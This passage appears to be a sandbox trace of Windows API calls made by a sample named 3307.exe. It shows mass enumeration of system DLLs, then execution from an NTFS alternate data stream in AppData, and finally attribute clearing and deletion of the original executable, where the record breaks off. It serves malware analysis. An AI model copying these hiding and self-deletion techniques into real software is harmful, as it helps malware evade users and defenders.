lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.622] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.622] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.623] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.623] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.623] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.623] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.623] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.623] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.623] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.623] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.624] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.624] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.624] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x3ec288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0026.624] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.624] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x3ec288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.624] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.624] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0026.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x3ec288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0026.624] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0026.650] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x34f630 | out: BaseAddress=0x34f630*=0x75fd0000) returned 0x0 [0026.653] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.653] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.653] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee840) returned 1 [0026.653] FindClose (in: hFindFile=0x652a08 | out: hFindFile=0x652a08) returned 1 [0026.653] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin C:\\Users\\5P5NRG~1\\Desktop\\3307.exe", pNumArgs=0x34f65c | out: pNumArgs=0x34f65c) returned 0x663d00*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin" [0026.653] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed5e8 [0026.654] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed288 [0026.654] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee268 [0026.654] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed278 [0026.654] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee840 [0026.654] LocalFree (hMem=0x663d00) returned 0x0 [0026.654] Wow64DisableWow64FsRedirection (in: OldValue=0x34f658 | out: OldValue=0x34f658*=0x0) returned 1 [0026.654] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x800) returned 0x507cf8 [0026.654] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x507cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1:bin")) returned 0x2e [0026.654] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x800) returned 0x508500 [0026.654] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x508500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\wkxi1f~1:bin")) returned 0x2e [0026.654] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.654] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.654] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.654] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.655] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\3307.exe" (normalized: "c:\\users\\5p5nrg~1\\desktop\\3307.exe"), fInfoLevelId=0x0, lpFileInformation=0x34f47c | out: lpFileInformation=0x34f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1825dd80, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x1825dd80, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x165c1a00, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0026.662] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\3307.exe" (normalized: "c:\\users\\5p5nrg~1\\desktop\\3307.exe"), fInfoLevelId=0x0, lpFileInformation=0x34f478 | out: lpFileInformation=0x34f478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1825dd80, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x1825dd80, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x165c1a00, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0026.662] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x184) returned 0x508d08 [0026.662] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.662] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.662] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec240 [0026.662] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.662] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec900 [0026.662] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec948 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec990 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec9d8 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3eca20 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3eca68 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ecab0 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ecaf8 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ecb40 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ecb88 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ecbd0 [0026.663] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x508eb0 [0026.663] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\3307.exe", dwFileAttributes=0x80) returned 1 [0026.664] DeleteFileW 